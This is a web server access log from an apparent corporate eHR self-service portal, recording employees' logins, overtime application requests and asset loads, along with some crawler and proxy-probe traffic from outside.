[29/Nov/2025:13:22:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9842299764796124 HTTP/1.1" 200 252136 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9842299764796124" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:22:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9842299764796124 HTTP/1.1" 200 252136 192.168.12.38 - - [29/Nov/2025:13:23:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5997 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:23:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5997 192.168.12.38 - - [29/Nov/2025:13:23:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:23:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:23:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:23:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:23:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46095471552792766 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:23:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46095471552792766 HTTP/1.1" 200 55332 192.168.12.38 - - [29/Nov/2025:13:23:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46095471552792766 HTTP/1.1" 200 252136 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46095471552792766" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:23:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46095471552792766 HTTP/1.1" 200 252136 192.168.12.38 - - [29/Nov/2025:13:24:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4287 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:24:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4287 192.168.12.38 - - [29/Nov/2025:13:24:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:24:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:24:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:24:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.38 - - [29/Nov/2025:13:24:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8606969237206651 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:24:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8606969237206651 HTTP/1.1" 200 55332 192.168.12.38 - - [29/Nov/2025:13:24:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8606969237206651 HTTP/1.1" 200 252136 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8606969237206651" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:24:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8606969237206651 HTTP/1.1" 200 252136 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.107 - - [29/Nov/2025:13:25:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.107 - - [29/Nov/2025:13:25:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.107 - - [29/Nov/2025:13:25:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.107 - - [29/Nov/2025:13:25:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 192.168.11.107 - - [29/Nov/2025:13:25:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.107 - - [29/Nov/2025:13:25:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.107 - - [29/Nov/2025:13:25:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.11.107 - - [29/Nov/2025:13:25:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:29 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.107 - - [29/Nov/2025:13:25:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 6734 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 6734 192.168.11.107 - - [29/Nov/2025:13:25:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.107 - - [29/Nov/2025:13:25:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.107 - - [29/Nov/2025:13:25:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.12.38 - - [29/Nov/2025:13:25:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:25:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.12.38 - - [29/Nov/2025:13:25:49 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132629%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132629&target=iframe HTTP/1.1" 200 3251 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.38 - - [29/Nov/2025:13:25:49 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132629%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132629&target=iframe HTTP/1.1" 200 3251 100.64.0.1 - - [29/Nov/2025:13:26:29 +0800] "GET / HTTP/1.1" 200 439 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 100.64.0.1 - - [29/Nov/2025:13:26:29 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:13:30:46 +0800] "GET / HTTP/1.1" 200 439 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 100.64.0.1 - - [29/Nov/2025:13:30:46 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:13:35:17 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:13:35:17 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [29/Nov/2025:13:36:44 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Linux; Android 7.1.1; vivo X20A Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/044304 Mobile Safari/537.36 MicroMessenger/6.7.2.1340(0x2607023A) NetType/4G Language/zh_CN" 100.64.0.1 - - [29/Nov/2025:13:36:44 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:13:54:18 +0800] "GET / HTTP/1.1" 200 439 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 100.64.0.1 - - [29/Nov/2025:13:54:18 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:13:59:29 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:13:59:29 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:14:07:54 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:14:07:54 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:14:11:51 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [29/Nov/2025:14:11:51 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:14:12:04 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [29/Nov/2025:14:12:04 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:15:36:18 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [29/Nov/2025:15:36:18 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:15:45:51 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:15:45:51 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:15:47:57 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:15:47:57 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:16:07:34 +0800] "GET / HTTP/1.1" 200 439 